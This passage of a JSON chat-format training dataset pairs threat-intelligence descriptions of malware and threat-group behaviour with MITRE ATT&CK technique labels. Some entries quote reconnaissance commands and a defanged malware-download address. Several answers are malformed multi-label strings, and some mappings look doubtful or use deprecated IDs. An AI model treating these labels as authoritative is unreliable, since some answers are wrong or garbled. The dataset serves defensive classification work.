                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Seasalt has a command to perform a process listing."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Various implementations of CHOPSTICK communicate with C2 over SMTP and POP3."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has harvested credentials from the victim's machine using Empire."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On other websites, different cloud storage solutions such as Amazon S3 or Google Drive were used to host Windows, OSX, and Android malware payloads"
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services', 'T1102 - Web Service', 'T1608.001 - Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can alter the victim's proxy configuration."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has used HTTP over ports such as 20, 22, 7080, and 50000, in addition to using ports commonly associated with HTTP/S."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When run, GoldMax decodes (Base64) and decrypts (AES-256) the configuration data to reveal a custom data structure comprised of the following dynamically generated and hardcoded values (delimited by"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OLDBAIT obfuscates internal strings and unpacks them at startup."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has created a Registry Run key named \"Dropbox Update Setup\" to establish persistence for a malicious Python binary."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The decrypted code resolves the necessary API functions, decompresses the embedded PE file with RtlCompressBuffer() using LZNT1 and maps it into memory"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For instance, the character A would be represented by the two characters 41, which is the hexadecimal representation of that character. The run command (1) creates the process cmd.exe /c with the command parameters appended and will write the output of the command in hexadecimal format to the file %APPDATA%\\tmpCa.vbs. The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure: http://&lt;c2 domain&gt;/resp. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(command prompt output)&gt; The upload command (2) writes data provided by the C2 to a specified file. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(\"File Uploaded\")&gt; The download command (3) reads the contents of a specified file and sends the data to the C2 server. If the file does not exist, the Trojan will send the C2 server a message &lt; File Not Found &gt; by sending the following URL: http://&lt;c2 domain&gt;/resp. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(\"&lt; File Not Found &gt;\")&gt; If the file exists, the Trojan will read the contents of the specified file and compresses the contents using the GZipStream class. The Trojan then gets the hexadecimal values of the compressed data and will replace the following hexadecimal values on each line with ASCII characters to further compressed the data"
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware continues by creating a service named mssecsvc2.0 with a binary path pointing to the running module with the arguments \"-m security\". Once created, the malware starts the service"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Rocke conducted scanning for exposed TCP port 7001 as well as SSH and Redis servers."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT1 gathered a list of running processes on the system using \"tasklist /v\"."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has used masscan to search for kubelets and the kubelet API for additional running containers."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Derusbi gathers the name of the local host, version of GNU Compiler Collection (GCC), and the system information about the CPU, machine, and operating system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a tool called CANDYKING to capture a screenshot of user's desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker then executed a persistent malicious PowerShell code that was used to download and execute another PowerShell backdoor file in the server from the malicious IP address 185[.]82[.]219[.]201, as shown in Figure 7."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - IP Addresses', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1027.003 - Steganography', 'T1216 - Signed Script Proxy Execution', 'T1546.013 - Event Triggered Execution: PowerShell Profile', 'T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses ports 447 and 8082 for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The wiper could be configured to use a file to overwrite the files on the disk using the ‘F’ configuration flag, as we saw images used to overwrite files in previous Shamoon attacks. This file would be stored in a resource named ‘GRANT’, but this particular wiper is not configured to use a file for overwriting so the GRANT resource does not exist. If it were configured to use a file, this sample would extract the file using the information listed in Table 5"
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kobalos can exfiltrate credentials over the network via UDP."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PingPull can enumerate storage volumes and folder contents of a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "installs a root certificate to aid in man-in-the-middle actions."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZIRCONIUM has used malicious links in e-mails to lure victims into downloading malware."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By performing two-factor authentication interception by receiving the OTP on their own telephone number, they gained access to the company network via the VPN. Our hypothesis is that they tested the 2FA-system first or selected the primary phone number to send a SMS to. Thus the 2FA code was sent with supporting Chinese text"
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Trojan.Karagany can base64 encode and AES-128-CBC encrypt data prior to transmission."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak has the ability to base64 encode and XOR encrypt strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In February 2018, several KHRAT associated domains began resolving to the IP address 89.46.222[.]97"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "injects into other processes to load modules."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has used HTTP POST for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has used SMS and email messages with links designed to steal credentials."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may collect network configuration data by running ipconfig /all on a victim."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrossRAT creates a Launch Agent on macOS."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT encrypts strings in the backdoor using a custom XOR algorithm."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This phase will often leverage a specialized tool that automatically collects a wide array of information including credentials, group management policies, and even system logs to better hone further attacks and assure execution of their malware"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers typically distribute Netwalker ransomware with the use of a reflective PowerShell loader script that has been protected from casual analysis with several layers of obfuscation."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To gain access to victim environments, the threat actor began by targeting handpicked employees using LinkedIn messaging and email, advertising fake jobs to lure recipients into checking into the supposed offers. In one case, we uncovered evidence indicating that the attacker had established communication with a victim via email and convinced them to click on a Google Drive URL purporting to contain an attractive job advert. Once clicked, the URL displayed the message, “Online preview is not available,” then presented a second URL leading to a compromised or rogue domain, where the victim could download the payload under the guise of a job description"
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Maze-delivered virtual machine was running Windows 7, as opposed to the Windows XP VM distributed in the Ragnar Locker incident. In this case, Cryptoguard was preventing the malware from encrypting files by intercepting and neutralizing the Windows APIs that the ransomware was attempting to use to encrypt the hard drive. Weaponized virtual machine . The Maze attackers delivered the attack components for the third attack in the form of an .msi installer file. The root of that virtual disk contained three files associated with the Maze ransomware: preload.bat, vrun.exe, and a file just named payload (with no file extension), which is the actual Maze DLL payload. The Maze attackers took a slightly different approach, using a virtual Windows 7 machine instead of XP. The virtual machine (VM) that Sophos extracted from the Maze attack shows that this (newer) VM is configured in such a way that it allows easy insertion of another ransomware on the attacker’s ‘builder’ machine. But the cost in terms of size is signficant: The Ragnar Locker virtual disk was only a quarter the size of the nearly 2GB virtual disk used in the Maze attack—all just to conceal one 494 KB ransomware executable from detection. The attackers also executed the following commands on the host computer during the Maze attack: This ran the Microsoft Installer that installs VirtualBox and the virtual hard drive. They stop the Volume Shadow Copy service; the ransomware itself includes a command to delete existing shadow copies. The Maze threat actors have proven to be adept at adopting the techniques demonstrated to be successful by other ransomware gangs, including the use of extortion as a means to extract payment from victims"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chaes has added persistence via the Registry key \"software\\microsoft\\windows\\currentversion\\run\\microsoft windows html help\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "steals user files from local hard drives with file extensions that match a predefined list."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The code then decodes this set of import symbols and resolves addresses for its networking and data stealing functionality: InternetCloseHandle InternetReadFile HttpSendRequestA HttpOpenRequestA HttpQueryInfoA InternetConnectA InternetCrackUrlA InternetOpenA InternetSetOptionW GetAdaptersInfo Much like the prior office monkey “atiumdag.dll” component, this code collects identifying system information using standard win32 API calls: Computer name – GetComputerNameW User name – GetUserNameW Adapter GUID, ip address, mac address – GetAdaptersInfo Windows version – GetVersionExW It then uses the runtime resolved networking API calls to send the collected data back to a hardcoded c2 and set of urls"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API', 'T1140 - Deobfuscate/Decode Files or Information', 'T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MarkiRAT can look for files carrying specific extensions such as: .rtf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pps, .ppsx, .txt, .gpg, .pkr, .kdbx, .key, and .jpb."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of providing shell functionality to the attacker to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has run \"net user\", \"net user /domain\", \"net group “domain admins” /domain\", and \"net group “Exchange Trusted Subsystem” /domain\" to get account listings on a victim."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account', 'T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Russian-speaking APT group Turla (known variously as ‘Snake’, ‘Uroburos’, ‘Venomous Bear’ and ‘KRYPTON’) has been active since at least 2007 (and maybe even longer). Its activities have been traced to many high-profile incidents, including the 2008 attack against the US Central Command (the Buckshot Yankee incident) and, more recently, the attack against the Swiss military contractor, RUAG. We’ve discuss its activities on a number of occasions (here, here, here and here). The group intensified its activities in 2014, targeting Ukraine, EU-related institutions, governments of EU countries, global foreign affairs ministries, media companies and possibly corruption-related targets in Russia. In 2015 and 2016 the group diversified its activities, switching from the Epic Turla watering-hole framework to the Gloog Turla framework, which is still active. The group also expanded its spear-phishing activities with the Skipper/WhiteAtlas attacks, which made use of new malware. Recently, the group has intensified its satellite-based C2 registrations ten-fold compared to the 2015 average."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is worth noting that in 2019, this actor used a fake file extension (*.png) for the MSI binary hosted on the attacker-controlled GitHub account"
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The loaded DLL retrieves the path to the Warzone malicious file from HKCU\\SOFTWARE\\_rptls\\Install, iterates through running processes and kills the Warzone process if it already exists. Then it runs the Warzone executable again, this time with Admin privileges"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used a forged \"duo-sid\" cookie to bypass MFA set on an email account."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "executes commands using a command-line interface and reverse shell. The group has used a modified version of pentesting script wmiexec.vbs to execute commands."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pysa can perform OS credential dumping using Mimikatz."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ccf32 can upload collected data and files to an FTP server."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Our dynamic analysis showed Lokibot’s behavior, including the benefits and drawbacks of several unpacking methods. Lokibot also used an infected system machine global unique identifier (GUID) value to generate a mutex (an MD5 hash) that acted as a flag to prevent itself from infecting the same machine again. The subject lines of the campaign messages usually started with or included the term “proforma. The malicious attachment was a DOCX, with a file name that also included “proforma” in its pattern. TLP: WHITE https://www.us-cert.gov/tlpCharacteristicsLokibot is an information stealer; the main functionality of its binary is to collect system and application credentials, and user information to send back to the attacker. We then conducted a static analysis to examine Lokibot’s techniques and targets. It starts from the tenth byte in the data section of the initial TCP POST request. We also noticed that the value of the sub key is the path to the file that Lokibot created after its initial execution. The binary’s hardcoded strings provided data about the binary’s characteristics, behavior, and main functionality.Section HeadersFrom the section headers and distribution of each section, the binary appears to be fairly normal. Figure 9Hollow Process; Manually Unpacking the First Stage BinaryWe tried to follow the binary with a debugger to determine where it unpacked itself in the memory, but Lokibot used a hollow process technique to obscure some of this activity"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors collected information via Empire, which was automatically sent back to the adversary's C2."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kasidet creates a Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The delivery document uses the XLSX extension typically used by OpenXML documents, but the file itself is actually an OLE (XLS) document. The file extension to file type discrepancy was caused by the actor using Excel's built-in encryption capability, which stores XLSX ciphertext and the information needed for decryption in an OLE document"
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mosquito uses COM hijacking as a method of persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar downloads additional plug-ins to load on the victim’s machine, including the ability to upgrade and replace its own binary."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NOKKI has used HTTP for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HEXANE has established fraudulent LinkedIn accounts impersonating HR department employees to target potential victims with fake job offers."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has used compromised credentials to access other systems on a victim network."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The first stage shellcode contains an interesting NOP sled with alternative instructions, which was most likely designed in such a way to avoid detection by antivirus products looking for large NOP blocks inside flash files"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE can create a scheduled task to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "captures hashes and credentials that are sent to the system after the name services have been poisoned."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leafminer used a tool called Imecab to set up a persistent remote access account on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
